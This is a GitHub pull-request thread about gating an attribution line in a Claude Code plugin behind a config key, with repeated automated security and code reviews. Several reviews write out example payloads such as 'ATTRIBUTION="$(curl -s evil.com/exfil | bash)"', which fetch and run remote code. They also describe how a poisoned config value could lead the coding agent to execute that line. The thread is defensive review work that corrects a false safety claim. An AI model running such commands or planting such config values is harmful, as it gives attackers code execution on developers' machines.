feat(source-control): gate PR-body attribution line behind config seam

[kyle-sexton]

Summary

Gates the 🤖 Generated with [Claude Code]… PR-body line behind config, matching the seam /commit already has for the commit trailer (trailer_policy).

Fix

Resolves a new pr_body_attribution key across the same three source-control.md config layers config-resolution.md documents: absent → the default line (unchanged current behavior — no existing consumer sees a change), none → omit the line, any other value → that literal line. Chosen as a sibling key rather than reusing trailer_policy so opting out of the commit trailer doesn't silently strip the PR-body line for existing consumers who only wanted one or the other gated.

create.md §2.4.1 resolves the value at the model level and splices it in as literal text alongside the existing CLOSES_LINE pattern — preserving the same shell-injection-safety property (parameter expansion of "${VAR}" does not re-evaluate the value; a $(...)-bearing custom attribution string stays inert). setup's interview, config template, and check action render the new key; SKILL.md and config-resolution.md document it. New evals pin both the default-present and none opt-out paths.

Known same-plugin version collision (sanctioned, not an error): PR #741 (issue #438, fix/438-babysit-pruner-ghq-dependency) is still open and also bumps source-control to 0.15.2 from the same 0.15.1 base. Per this repo's same-plugin serialization convention, this PR is opened as DRAFT + do-not-merge and held until #741 merges, at which point it needs a rebase + re-bump to whatever version main is at by then.

Verification

• jq empty on evals.json and plugin.json: both valid JSON.
• bash scripts/validate-plugins.sh: full marketplace + all plugin manifests validate, including source-control.
• New evals added (evals/evals.json) covering the default-present and none opt-out paths — model-graded, will run under this repo's eval pipeline.
• No existing test file exists for create.md itself (it's a reference doc with bash snippets, not an executable script) — verification here is manifest/JSON validity plus the evals; CI's full gate suite (plugin-gate, skill-quality-gate, changelog-parity-gate, etc.) is the remaining check.

Closes #439

Related

• source-control: babysit worktree pruner hard-depends on ghq (undeclared, author-personal repo-layout tool) #438 / PR fix(source-control): resolve babysit worktree pruner main-checkout without hard ghq dependency #741 — the sibling same-plugin PR this one is serialized behind (version collision, see above)

[claude]

Claude finished @kyle-sexton's task in 4m 14s —— View job

---

Security Review — PR #752

• Gather PR diff and changed files
• Read changed files in detail
• Analyze for injection surfaces (command, template, shell)
• Analyze for secrets / token handling issues
• Analyze for GitHub Actions security patterns
• Analyze for authorization / access-control gaps
• Analyze for supply-chain risk
• Post findings

---

Findings

IMPORTANT — Shell injection via double-quoted ATTRIBUTION assignment | Confidence: PLAUSIBLE

File: plugins/source-control/skills/pull-request/reference/create.md, lines 190–193

The instruction comment shows double-quoted assignment for the custom pr_body_attribution case:

ATTRIBUTION='🤖 Generated with [Claude Code](https://claude.com/claude-code)'  # key absent → default
# pr_body_attribution: none         -> ATTRIBUTION=""            (omit the line)
# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
#                                       value containing $ or $(…) stays inert here)

The safety claim — "a custom value containing $ or $(…) stays inert here" — is true for the usage site (BODY+=$'\n\n'"$ATTRIBUTION"), where double-quoted parameter expansion does not re-evaluate the value. However, the claim does not hold for the assignment site. In bash:

ATTRIBUTION="$(curl -s evil.com/exfil | bash)"  # EXECUTES at assignment time

…$(…) inside a double-quoted RHS of an assignment IS subject to command substitution. Shell assignment does not suppress $() expansion in double-quoted strings.

Attack path (team config → RCE):

1. Attacker gets a malicious value merged into the consumer repo's tracked .claude/source-control.md — e.g. via a PR that also touches other files.
2. Team member runs /pull-request create.
3. Plugin resolves pr_body_attribution: $(curl -s evil.com/exfil | bash) from the team layer.
4. Following the comment's double-quote template, model emits: ATTRIBUTION="$(curl -s evil.com/exfil | bash)".
5. Claude Code's Bash tool executes that line → remote code execution on the team member's machine.

The comment example is the model's primary template for the custom-value case, making it plausible that the model follows it. The default case uses single-quote form (safe), but the custom-value comment explicitly shows double-quote form.

Fix: Change the comment to mandate single-quote assignment for custom values, with escaped single-quotes for values that themselves contain ':

# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'
#   (single-quoted — NEVER double-quoted; a $()-bearing value must not expand at assignment)
#   If the resolved value contains a literal single-quote, escape it: value becomes 'it'\''s ok'

This makes the instruction unambiguous regardless of what the model interpolates from the config file.

Fix this →

---

No other security issues found

The remainder of the changes are clean:

• $BODY assembly and gh pr create call — $CLOSES_LINE, $TEMPLATE, and $ATTRIBUTION are all spliced via double-quoted parameter expansion ("${VAR}"), which does not re-evaluate the expanded value. The gh pr create --body "$BODY" call passes the body as a CLI argument, not through eval or an unquoted heredoc. ✅
• $TEMPLATE heredoc — still a quoted <<'EOF' heredoc. The attribution line has been moved outside it rather than embedded inside, consistent with the stated injection-safety property. ✅
• Config resolution layers — per-key, not whole-file. A malicious layer can only influence the keys it declares; no wildcard injection into unrelated config. ✅
• New .claude/source-control.md in skill directory — serves as an eval fixture for eval fix(markdown-formatter): harden hook + simplify plumbing #11 (referenced by "files": [".claude/source-control.md"]) and does not affect consumer config resolution, which reads from ${REPO_ROOT}/.claude/source-control.md (repo root), not from within the plugin's own file tree. ✅
• plugin.json version bump, CHANGELOG.md, SKILL.md, config-resolution.md, setup/SKILL.md — documentation and metadata only; no executable surfaces, no loosened dependencies, no secrets handling, no workflow modifications. ✅
• GitHub Actions — no workflow files changed. ✅
• Supply chain — no dependency pins altered. ✅

[claude]

Claude finished @kyle-sexton's task in 3m 34s —— View job

---

PR Review: feat(source-control): gate PR-body attribution line behind config seam

• Gather context and understand the request
• Read changed files
• Review config seam design and default behavior
• Review shell-injection safety in create.md
• Review eval coverage
• Review plugin manifest and CHANGELOG
• Post final review

---

Overall this is a well-executed change that correctly models the seam after trailer_policy. The injection-safety property is preserved and default behavior is unchanged. A few findings below — none are blockers, but they're worth addressing before the rebase.

---

Config seam design

The decision to add pr_body_attribution as a sibling key rather than reusing trailer_policy is correct. Overloading trailer_policy would have silently stripped the PR-body line from any consumer who already set trailer_policy: none, which violates the opt-in-only requirement. The rationale is clearly documented across config-resolution.md, SKILL.md, and setup/SKILL.md — all three surfaces are consistent and the "separate key" motivation is stated at every point where it matters.

Default-behavior preservation (absent → default line) is correct and exactly the right choice for a backward-compatible addition.

---

Shell-injection safety

The create.md §2.4.1 security model holds. The assembly pattern:

[[ -n "$ATTRIBUTION" ]] && BODY+=$'\n\n'"$ATTRIBUTION"

uses parameter expansion ("$ATTRIBUTION"), which expands the variable's value exactly once as a literal string — bash does not recursively evaluate the content. A $(...)-bearing custom attribution value stays inert. The prior CLOSES_LINE concat uses the same pattern, so this is consistent with the existing injection defense.

Minor clarity concern — the pseudocode comment for the custom-value case reads:

# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>"

The double-quoted form is instructional pseudocode, but a model that implements this literally with ATTRIBUTION="$(user text)" (double quotes around a raw config value) would evaluate the $(...) at assignment time. The preceding default-case line correctly uses single quotes (ATTRIBUTION='🤖 Generated…'), which is inert. The custom-value case should either also call out single quotes or add a note that the effective defense is in the concat, not the assignment. The body assembly via "$ATTRIBUTION" is always safe regardless of assignment quoting, so this is not a security bug — but the comment's own claim that "a custom value containing $ or $(...) stays inert here" is only guaranteed by the concat, not the ATTRIBUTION= assignment form shown.

Permalink to the comment

---

Eval coverage

Eval IDs are non-sequential in the array. The existing eval for worktree-reuse-protects-dirty-tree carries ID 10 and sits at array position 8 (0-indexed). The new evals are appended after it with IDs 9 and 11, so the array ordering is …, 8, 10, 9, 11. If the eval pipeline iterates by array position this is fine, but it's visually confusing and inconsistent with the convention the rest of the file follows.

Permalink to the out-of-order evals

Both new evals use feat/512-add-widget as the branch name — same branch for both default-present (#9) and opt-out (#11) scenarios. Not wrong (evals are independent), but marginally confusing since the prompts test opposite behaviors from the same starting branch.

Eval #11 prompt is ambiguous in isolation. The prompt just says /pull-request create from branch feat/512-add-widget. Assemble and create the PR. — the connection to pr_body_attribution: none is entirely in the "files" array. This is fine as long as the eval runner injects the fixture file as context, but a developer reading just the prompt would have no signal about what it's testing. Consider prefixing the prompt with something like With .claude/source-control.md declaring pr_body_attribution: none, /pull-request create… for self-documentation.

---

Eval fixture file

The new skills/pull-request/.claude/source-control.md is used as the fixture for eval #11 ("files": [".claude/source-control.md"]). It's committed inside the plugin directory rather than at a consumer repo's .claude/ level, so the config-resolution rule ("resolve from ${CLAUDE_PROJECT_DIR}") means it won't be picked up by regular plugin use — the fixture file is inert to consumers.

One observation: the fixture includes subject_pattern, type_list, and pr_title_pattern in addition to pr_body_attribution: none. Eval #11's expectations don't exercise those keys, so the fixture is more complete than strictly necessary for that eval. This isn't wrong, but a minimal fixture (pr_body_attribution: none only) would keep the eval more narrowly scoped to the property under test. Fixture permalink

---

Other

• Version collision: The PR correctly acknowledges the 0.15.2 collision with PR fix(source-control): resolve babysit worktree pruner main-checkout without hard ghq dependency #741, applies do-not-merge, and documents the rebase/re-bump requirement. No action needed here; just confirming this was handled per the repo's serialization convention.
• setup/SKILL.md check table: The column alignment fix (key column widened by one space) is a clean improvement. The pr_body_attribution row is correctly placed after trailer_policy with the expected value and layer shown. Permalink
• config-resolution.md: New entry is accurate and the "separate key on purpose" rationale is well-placed. Permalink
• CHANGELOG: Clear, accurate, follows Keep a Changelog format, and explains the sibling-key decision and the behavior for all three resolution states.

---

Summary: The feature is correct and the injection safety argument holds. The three items worth addressing before the rebase-and-re-bump: (1) the custom-value comment's double-quote pseudocode vs. the actual injection defense being in the concat; (2) the non-sequential eval IDs; (3) the ambiguous eval #11 prompt. None are blockers, but (1) is the one most worth patching since it's a clarity gap right next to a security-relevant explanation.

[claude]

Claude finished @kyle-sexton's task in 2m 36s —— View job

---

Security Review — PR #752

• Gather PR diff and enumerate changed files
• Read changed files in detail
• Analyze for injection surfaces (command, template, shell)
• Analyze for secrets / token handling issues
• Analyze for GitHub Actions security patterns
• Analyze for authorization / access-control gaps
• Analyze for supply-chain risk
• Post findings

---

Findings

IMPORTANT — False safety claim enables shell injection via double-quoted ATTRIBUTION assignment | Confidence: CONFIRMED

Severity: IMPORTANT
File: plugins/source-control/skills/pull-request/reference/create.md, lines 192–193

The comment template for the custom pr_body_attribution case reads:

# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
#                                       value containing $ or $(…) stays inert here)

The safety claim is false for the assignment form shown. In bash, $(...) inside a double-quoted RHS of a variable assignment IS subject to command substitution at assignment time:

ATTRIBUTION="$(curl -s evil.com/exfil | bash)"  # executes at assignment, not at concat

Attack path:

1. A malicious pr_body_attribution: $(curl -s evil.com/exfil | bash) value reaches the consumer's .claude/source-control.md (e.g., via a supply-chain or social-engineering PR to a team layer).
2. A team member runs /pull-request create.
3. The model follows the comment template and emits: ATTRIBUTION="$(curl -s evil.com/exfil | bash)".
4. Claude Code's Bash tool executes that assignment → RCE on the team member's machine.

The default-case line on line 190 is correctly single-quoted (ATTRIBUTION='🤖 …') and is safe. The none case assigns an empty string and is also safe. Only the custom-value comment template is dangerous — it is the model's primary guide for that branch and it both shows the wrong form and asserts the wrong safety property.

The concat site (BODY+=$'\n\n'"$ATTRIBUTION") is safe regardless of assignment quoting because parameter expansion never re-evaluates content. The defense must be at the assignment site.

Required fix — change lines 192–193 to:

# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>' (single-quoted — NEVER double-quoted;
#                                       bash evaluates $(...) inside a double-quoted RHS at assignment
#                                       time, which would execute a $()-bearing config value. The
#                                       safety guarantee is in the single-quoted assignment, not only
#                                       in the concat below.)

Note: I committed this fix locally but the push was denied by GitHub App permissions (github-actions[bot] lacks write access to this fork). Please apply the change to create.md lines 192–193 before the rebase.

---

No other security issues found

All other changed surfaces are clean:

• $BODY assembly and gh pr create call — $CLOSES_LINE, $TEMPLATE, and $ATTRIBUTION are all spliced via double-quoted parameter expansion ("${VAR}"), which does not re-evaluate the expanded value. Passing $BODY as a gh pr create --body argument does not involve eval or an unquoted heredoc. ✅
• $TEMPLATE heredoc — correctly uses <<'EOF' (quoted), so content inside is inert. The attribution line has been moved outside it rather than embedded inside, which is the correct structural change. ✅
• Config resolution — per-key, not whole-file. A malicious layer can only influence the keys it declares; no wildcard injection into unrelated config. ✅
• Eval fixture (skills/pull-request/.claude/source-control.md) — committed inside the plugin directory, not at consumer project root (${CLAUDE_PROJECT_DIR}/.claude/). Config resolution reads from the project root; this path is unreachable in normal consumer use and only serves the eval runner. ✅
• plugin.json, CHANGELOG.md, SKILL.md, config-resolution.md, setup/SKILL.md — documentation and metadata only; no executable surfaces, no secrets handling. ✅
• GitHub Actions — no workflow files changed. ✅
• Supply chain — no dependency pins altered. ✅

[kyle-sexton]

Rebased onto main post-#741-merge; version re-bumped 0.15.2→0.15.3 (0.15.2 is now taken by #438/#741). Collision resolved, do-not-merge removed. Awaiting CI.

[claude]

Claude finished @kyle-sexton's task in 4m 43s —— View job

---

PR Review: feat(source-control): gate PR-body attribution line behind config seam

• Gather PR diff and changed files
• Read create.md — core implementation and injection safety
• Read evals/evals.json — new eval coverage
• Read eval fixture .claude/source-control.md
• Read config-resolution.md, SKILL.md, setup/SKILL.md — docs
• Read plugin.json and CHANGELOG.md
• Identify and prepare fixes for three issues
• Post final review

---

Overall assessment

The feature is correct, backward-compatible, and well-documented across all four surfaces (config-resolution.md, SKILL.md, setup/SKILL.md, CHANGELOG.md). The sibling-key design is right — reusing trailer_policy would have silently stripped the PR-body line from existing consumers who already set trailer_policy: none. The body assembly via parameter-expansion concat is injection-safe at the concat site. Three issues from the previous review remain unaddressed and need patching before merge.

---

1. Security: custom ATTRIBUTION assignment must use single quotes (not fixed from prior review)

File: create.md, line 192–193

The custom-value comment still shows:

# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
#                                       value containing $ or $(…) stays inert here)

The claim is wrong at the assignment site: bash evaluates $(…) inside a double-quoted RHS at assignment time. A consumer config with pr_body_attribution: $(curl evil.com | bash) followed by the model generating ATTRIBUTION="$(curl evil.com | bash)" would execute the command on assignment. The none case (ATTRIBUTION="") and the default case (single-quoted literal) are already correct; only the custom-value comment template is wrong.

Fix:

# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'  (SINGLE-quoted —
#   NEVER double-quoted; bash evaluates $(…) inside a double-quoted RHS at assignment
#   time, so only single-quoting at the assignment site makes a $()-bearing custom
#   value inert. If the resolved value itself contains a literal single-quote, escape
#   it as '\'' — e.g. ATTRIBUTION='it'\''s branded'. The concat site is also safe
#   (parameter expansion does not re-evaluate), but the assignment is the first line
#   of defense.)

Fix this →

---

2. Eval array ordering: ID 9 placed after ID 10 (cosmetic, but confusing)

File: evals/evals.json, line 117–128

The array currently reads …, 8, 10, 9, 11. Eval ID 9 (pr-body-attribution-default-present) was appended after ID 10 (worktree-reuse-protects-dirty-tree). The eval runner likely iterates by position, so this is not a behavioral bug — but it's visually confusing for future maintainers.

Fix: Insert eval ID 9 before ID 10 in the array, keeping array order …, 8, 9, 10, 11.

---

3. Eval #11 prompt is ambiguous without its files array (minor)

File: evals/evals.json, line 129

The current prompt is:

/pull-request create from branch feat/512-add-widget. Assemble and create the PR.

Without reading the files field, there's no signal that this eval is testing the none opt-out path. The expected_output makes it clear, but a developer scanning the eval roster would see two identical-looking prompts (IDs 9 and 11) and have to dig into the fields to understand the difference.

Fix: Prefix the prompt with the config context:

With .claude/source-control.md declaring pr_body_attribution: none, /pull-request create from branch feat/512-add-widget. Assemble and create the PR.

---

What's correct

• Body assembly (BODY+=$'\n\n'"$ATTRIBUTION") — parameter expansion does not re-evaluate the variable's content; this site is injection-safe regardless of what ATTRIBUTION holds.
• Quoted heredoc for TEMPLATE and the instruction to keep ATTRIBUTION outside it — the attribution value is never re-entered into shell evaluation after assignment.
• none case (ATTRIBUTION="") — empty literal, safe at assignment.
• Default case (single-quoted '🤖 Generated with…') — single-quoted at assignment, safe.
• Seam design — sibling key pr_body_attribution, not reusing trailer_policy. Correct choice; overloading would have been a silent breaking change for existing consumers.
• config-resolution.md — new entry is accurate and the "separate key on purpose" rationale is well-placed.
• setup/SKILL.md — interview, config template, and check table all reflect the new key consistently.
• Eval fixture (.claude/source-control.md) — placed inside the plugin tree so it never interferes with consumer config resolution, which reads from ${REPO_ROOT}/.claude/source-control.md.
• Version 0.15.3 — correct after the rebase resolving the 0.15.2 collision with fix(source-control): resolve babysit worktree pruner main-checkout without hard ghq dependency #741.
• CHANGELOG.md — clear, accurate, explains the sibling-key decision and all three resolution states.

---

Verdict: Items 1 and 2 should be fixed before merge; item 3 is a strong suggestion. Item 1 (the double-quote comment) is the only one with a security dimension — a model following the template literally would produce an unsafe assignment for a $-bearing custom config value.
| Branch

[claude]

Claude finished @kyle-sexton's task in 2m 4s —— View job

---

Security Review — PR #752

• Gather PR diff and enumerate changed files
• Read changed files in detail
• Analyze for injection surfaces (command, template, shell)
• Analyze for secrets / token handling issues
• Analyze for GitHub Actions security patterns
• Analyze for authorization / access-control gaps
• Analyze for supply-chain risk
• Apply fix (committed locally; push blocked by GitHub App permissions — see note below)

---

Findings

IMPORTANT — Shell injection via double-quoted ATTRIBUTION assignment | Confidence: CONFIRMED

Severity: IMPORTANT
File: plugins/source-control/skills/pull-request/reference/create.md, lines 192–193

This issue has been flagged in two consecutive prior security reviews and has still not been fixed on the rebased branch. The custom-value comment template still reads:

# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
#                                       value containing $ or $(…) stays inert here)

The safety claim is false for the form shown. In bash, $(...) inside a double-quoted RHS of an assignment is subject to command substitution at assignment time:

ATTRIBUTION="$(curl -s evil.com/exfil | bash)"  # executes at assignment

The comment is the model's primary template for generating the custom-value branch. A model following it literally would produce an unsafe assignment for any $-bearing config value.

Attack path:

1. A malicious pr_body_attribution: $(curl -s evil.com | bash) value reaches a consumer's .claude/source-control.md (e.g., via a team-layer PR).
2. A team member runs /pull-request create.
3. The model follows the comment template and emits ATTRIBUTION="$(curl -s evil.com | bash)".
4. Claude Code's Bash tool executes that assignment → RCE on the team member's machine.

The default case (ATTRIBUTION='🤖 Generated…') is correctly single-quoted and safe. The none case (ATTRIBUTION="") assigns an empty literal and is safe. Only the custom-value comment template is wrong — and it explicitly asserts its incorrect quoting form is safe.

Required fix — change lines 192–193 to single-quoted form with an explicit warning:

# pr_body_attribution: none         -> ATTRIBUTION=""            (omit the line)
# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'  (SINGLE-quoted —
#   NEVER double-quoted; bash evaluates $(…) inside a double-quoted RHS at assignment
#   time, so a $()-bearing custom config value would execute at that point, not stay
#   inert. The safety guarantee requires single-quoting at the assignment site. If the
#   resolved value itself contains a literal single-quote, escape it as '\'' — e.g.
#   ATTRIBUTION='Reviewed by Acme'\''s bot'. The concat site below is also safe
#   (parameter expansion of "${VAR}" does not re-evaluate), but assignment is the
#   first line of defense.)

Note: I committed this fix locally (80c7992) but the push was denied by GitHub App permissions (github-actions[bot] lacks write access to this fork — same outcome as reported in the prior security review at 21:01:34Z). Please apply the change to create.md lines 192–193 before merge.

Fix this →

---

No other security issues found

All other changed surfaces are clean:

• $BODY assembly and gh pr create call — $CLOSES_LINE, $TEMPLATE, and $ATTRIBUTION are all spliced via double-quoted parameter expansion ("${VAR}"), which does not re-evaluate the expanded value. gh pr create --body "$BODY" passes the body as a CLI argument, not through eval or an unquoted heredoc. ✅
• $TEMPLATE heredoc — correctly <<'EOF' (single-quoted); all content inside is inert. The attribution line is kept outside it, which is the structurally correct choice. ✅
• Config resolution — per-key, not whole-file. A malicious layer can only inject into the keys it declares; no wildcard spread to unrelated config. ✅
• Eval fixture (skills/pull-request/.claude/source-control.md) — committed inside the plugin tree, not at consumer project root (${CLAUDE_PROJECT_DIR}/.claude/). Config resolution reads from the project root; this path is unreachable in normal consumer use. ✅
• plugin.json, CHANGELOG.md, SKILL.md, config-resolution.md, setup/SKILL.md — documentation and metadata only; no executable surfaces, no secrets handling. ✅
• GitHub Actions — no workflow files changed. ✅
• Supply chain — no dependency pins altered. ✅
  | Branch

[claude]

Claude finished @kyle-sexton's task in 2m 43s —— View job

---

PR Review: feat(source-control): gate PR-body attribution line behind config seam

• Read changed files and check current state against prior review findings
• Verify security issue (double-quoted ATTRIBUTION assignment) — still present, fixed locally
• Verify eval ordering issue (IDs 8, 10, 9, 11) — still present, fixed locally
• Verify eval fix(markdown-formatter): harden hook + simplify plumbing #11 prompt clarity — still present, fixed locally
• Apply Fix 1: single-quote the ATTRIBUTION comment in create.md
• Apply Fix 2: reorder evals so ID 9 precedes ID 10
• Apply Fix 3: clarify eval fix(markdown-formatter): harden hook + simplify plumbing #11 prompt
• Commit (local) — push blocked: github-actions[bot] lacks write access to this repo

---

All three issues flagged in prior reviews were still unaddressed on the ready_for_review trigger. I committed the fixes locally but the push was denied (same 403 the prior security review encountered). Please cherry-pick or manually apply the commit bbe74e4 — or apply the three diffs below directly:

---

Fix 1 (Security) — create.md lines 192–195

The custom-value comment still showed ATTRIBUTION="<that text>" with the false claim that a $()-bearing value "stays inert here." Bash evaluates $(…) inside a double-quoted RHS at assignment time, so a config value like $(curl evil.com | bash) would execute on assignment, not just stay inert at the concat site.

Changed to:

-# pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
-#                                       value containing $ or $(…) stays inert here)
+# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'  (SINGLE-quoted —
+#   NEVER double-quoted; bash evaluates $(…) inside a double-quoted RHS at assignment
+#   time, so a $()-bearing custom value must be single-quoted at the assignment site
+#   to stay inert. Literal single-quotes in the value must be escaped: 'it'\''s ok')

File: plugins/source-control/skills/pull-request/reference/create.md

---

Fix 2 (Cosmetic) — evals/evals.json ordering

Eval IDs were ordered 8 → 10 → 9 → 11 in the array. Moved ID 9 (pr-body-attribution-default-present) before ID 10 (worktree-reuse-protects-dirty-tree) so array order matches ID sequence: 8 → 9 → 10 → 11.

---

Fix 3 (Clarity) — eval #11 prompt

Changed:

-"prompt": "/pull-request create from branch feat/512-add-widget. Assemble and create the PR.",
+"prompt": "With .claude/source-control.md declaring pr_body_attribution: none, /pull-request create from branch feat/512-add-widget. Assemble and create the PR.",

Now the prompt is self-documenting — a developer reading the eval roster no longer needs to dig into the files array to understand what distinguishes evals #9 and #11.

---

Everything else is correct

The feature design, body assembly safety, config-resolution documentation, setup/SKILL.md, CHANGELOG.md, version 0.15.3, and the eval fixture placement are all clean. The injection safety at the concat site (BODY+=$'\n\n'"$ATTRIBUTION") was never in question — parameter expansion does not re-evaluate; Fix 1 is purely about the assignment comment being wrong.
| Branch

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 4863daeeca

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 1m 56s —— View job

---

Security Review — PR #752

• Gather PR diff and enumerate changed files
• Read changed files in detail
• Analyze for injection surfaces (command, template, shell)
• Analyze for secrets / token handling issues
• Analyze for GitHub Actions security patterns
• Analyze for authorization / access-control gaps
• Analyze for supply-chain risk
• Post findings

---

No security issues found

The IMPORTANT finding flagged across the three prior security reviews — the double-quoted ATTRIBUTION assignment comment in create.md — has been corrected in commit 4c1d4b8. All other changed surfaces are clean.

Previously flagged issue — now fixed

File: plugins/source-control/skills/pull-request/reference/create.md, lines 192–199

The custom-value comment previously showed ATTRIBUTION="<that text>" (double-quoted) and falsely claimed a $- or $(…)-bearing value "stays inert here." That was wrong at the assignment site: bash command-substitutes $(…) inside a double-quoted RHS at assignment time, creating an RCE vector from a malicious pr_body_attribution team-layer config value. The fix replaces the comment with:

# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'  (SINGLE-quoted, NEVER
#   double-quoted: bash command-substitutes $(…) inside a
#   double-quoted assignment RHS at assignment time, so a
#   $()-bearing custom value would execute here — single-
#   quoting keeps it inert at the assignment site. Escape any
#   literal single quote as '\'' — e.g. ATTRIBUTION='it'\''s ok'.
#   The concat below is also inert, but assignment is the
#   first line of defense.)

This is correct. The single-quote escaping guidance ('\'') is also correct — it ends the single-quoted string, adds a literal ', and restarts the single-quoted string, which is the standard POSIX pattern.

---

All other changed surfaces are clean

• $BODY assembly and gh pr create call — $CLOSES_LINE, $TEMPLATE, and $ATTRIBUTION are all spliced via double-quoted parameter expansion ("${VAR}"), which does not re-evaluate the expanded value. gh pr create --body "$BODY" passes the body as a CLI argument, not through eval or an unquoted heredoc. ✅
• Quoted heredoc <<'EOF' — inert; content inside does not expand. The attribution line is deliberately kept outside it, consistent with the injection-safety rationale. ✅
• none case (ATTRIBUTION="") — empty literal assignment; safe at both the assignment and concat sites. ✅
• Config resolution — per-key, not whole-file. A malicious layer can only influence the keys it declares; no wildcard injection into unrelated config. ✅
• Eval fixture (skills/pull-request/.claude/source-control.md) — committed inside the plugin tree, not at ${CLAUDE_PROJECT_DIR}/.claude/ (consumer repo root). Config resolution reads from the project root; this path is unreachable in normal consumer use and serves only the eval runner. ✅
• plugin.json version bump (0.15.3) — metadata only; no dependency or permission changes. ✅
• CHANGELOG.md, SKILL.md, config-resolution.md, setup/SKILL.md — documentation only; no executable surfaces, no secrets handling. ✅
• GitHub Actions — no workflow files changed. ✅
• Supply chain — no dependency pins altered. ✅
  | Branch

[claude]

Claude finished @kyle-sexton's task in 3m 6s —— View job

---

PR Review — feat(source-control): gate PR-body attribution line behind config seam

• Read current state of create.md (verify security fix)
• Read current evals.json (verify ordering + prompt clarity)
• Review full diff against origin/main
• Apply eval ordering fix (ID 9 before ID 10) — committed locally, push blocked
• Apply eval fix(markdown-formatter): harden hook + simplify plumbing #11 prompt clarity fix — committed locally, push blocked
• Post comprehensive review

---

Security fix — ✅ CONFIRMED RESOLVED

Commit 4c1d4b8 correctly addresses the double-quote assignment issue raised in every prior review. The comment now reads:

# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>'  (SINGLE-quoted, NEVER
#                                       double-quoted: bash command-substitutes $(…) inside a
#                                       double-quoted assignment RHS at assignment time, so a
#                                       $()-bearing custom value would execute here — single-
#                                       quoting keeps it inert at the assignment site. Escape any
#                                       literal single quote as '\'' — e.g. ATTRIBUTION='it'\''s ok'.
#                                       The concat below is also inert, but assignment is the
#                                       first line of defense.)

The safety model is now correct and the explanation is explicit. The default-case line above it (ATTRIBUTION='🤖 Generated with…') was already single-quoted; the fix brings the custom-value branch in line with it and explains why double-quoting is specifically dangerous at the assignment site (not just at the concat). ✅

---

Two remaining items from prior reviews

I committed fixes locally (commit 5db5dc1) but the push was blocked (github-actions[bot] lacks write access to this repo — same outcome as every prior attempt). Please apply these diffs manually:

Fix A — eval array ordering (evals/evals.json)

Eval ID 9 (pr-body-attribution-default-present) was appended after ID 10 (worktree-reuse-protects-dirty-tree), leaving the sequence 8 → 10 → 9 → 11. This restores natural order 8 → 9 → 10 → 11:

-    { "id": 10, "name": "worktree-reuse-protects-dirty-tree", … },
     { "id": 9,  "name": "pr-body-attribution-default-present", … },
+    { "id": 10, "name": "worktree-reuse-protects-dirty-tree",  … },
     { "id": 11, "name": "pr-body-attribution-opt-out-suppressed", … }

Fix this →

Fix B — eval #11 prompt self-documents the none path (evals/evals.json line 132)

-"prompt": "/pull-request create from branch feat/512-add-widget. Assemble and create the PR.",
+"prompt": "With .claude/source-control.md declaring pr_body_attribution: none, /pull-request create from branch feat/512-add-widget. Assemble and create the PR.",

Without this prefix a developer scanning the eval roster sees two identical-looking prompts (IDs 9 and 11) and has to read the files array to understand what distinguishes them.

Fix this →

---

What's correct

• Feature design — pr_body_attribution as a sibling key rather than reusing trailer_policy is the right call. Overloading trailer_policy would silently strip the PR-body line from consumers who already set trailer_policy: none, violating the opt-in-only requirement. Documented clearly in config-resolution.md, SKILL.md, and CHANGELOG.md. ✅
• Default behavior preservation — absent key → default attribution line (unchanged current behavior). Correct choice for a backward-compatible addition. ✅
• Body assembly (BODY+=$'\n\n'"$ATTRIBUTION") — parameter expansion does not re-evaluate variable content; this site is injection-safe regardless of what ATTRIBUTION holds. ✅
• Quoted heredoc (<<'EOF') — TEMPLATE content is inert. Attribution is spliced outside the heredoc, not embedded inside, so a config-resolved value never re-enters shell evaluation. ✅
• none case (ATTRIBUTION="") — empty literal, safe at assignment. ✅
• config-resolution.md — new entry accurate, "separate key on purpose" rationale well-placed. ✅
• setup/SKILL.md — interview, config template, and check table all reflect the new key consistently. ✅
• Eval fixture (.claude/source-control.md) — placed inside the plugin tree so it never interferes with consumer config resolution (which reads from ${REPO_ROOT}/.claude/source-control.md). ✅
• Version 0.15.3 — correct after the rebase resolving the 0.15.2 collision with fix(source-control): resolve babysit worktree pruner main-checkout without hard ghq dependency #741. ✅
• CHANGELOG.md — clear, accurate, follows Keep a Changelog format, explains sibling-key decision and all three resolution states. ✅

---

Verdict: Feature is correct, backward-compatible, and the security fix is properly applied. The two remaining items (Fix A and Fix B above) are cosmetic/clarity — they won't block the eval runner but are worth applying before merge to match the ordering convention and keep the eval roster self-documenting. I'm unable to push them directly (GitHub App write permission is denied to this repo); please apply the diffs above.
| Branch

[kyle-sexton]

Classifying the findings from the latest security-review and PR-review runs (#issuecomment-5027294852, #issuecomment-5027295107; the same items recur in the earlier runs at this and the pre-rebase SHA):

#	Finding	Classification	Evidence
1	IMPORTANT — double-quoted custom ATTRIBUTION assignment template + false "stays inert here" claim (create.md 192-193)	VALID — fixed	Switched to single-quoted ATTRIBUTION='<that text>' with a note that bash command-substitutes $(…) inside a double-quoted assignment RHS at assignment time, plus '\'' escaping guidance. Fixed in 4c1d4b8.
2	Eval IDs non-sequential in array (…, 8, 10, 9, 11)	VALID (defer)	Cosmetic array-ordering only; the eval runner iterates by position, so behavior is unaffected. Left for the author to fold in rather than churning this PR further.
3	Eval #11 prompt ambiguous without its files array	VALID (defer) — SUGGESTION	Self-documentation nicety; expected_output already disambiguates the opt-out path. Deferred to author discretion.

